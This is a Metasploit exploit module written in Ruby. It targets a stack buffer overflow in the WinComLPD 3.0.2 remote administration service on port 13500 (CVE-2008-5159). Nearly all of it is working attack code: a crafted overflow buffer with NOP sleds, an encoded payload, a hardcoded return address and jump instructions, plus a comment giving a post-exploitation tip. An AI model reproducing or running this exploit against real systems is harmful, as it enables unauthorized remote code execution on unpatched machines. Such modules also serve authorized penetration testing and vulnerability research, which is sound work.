WinComLPD Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinComLPD Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
        By sending an overly long authentication packet to the remote
        administration service, an attacker may be able to execute arbitrary
        code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2008-5159'],
          ['OSVDB', '42861'],
          ['BID', '27614'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinComLPD 3.0.2.623',   { 'Ret' => 0x0047d7a7 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2008-02-04',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(13500)], self)
  end

  def exploit
    connect

    # 'net start lpdservice' after you migrate!
    sploit =  "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
    sploit << make_nops(872 - payload.encoded.length)
    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
    sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
    sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)

    print_status("Trying target #{target.name}...")

    sock.puts(sploit)
    select(nil,nil,nil,5)

    handler
    disconnect
  end
end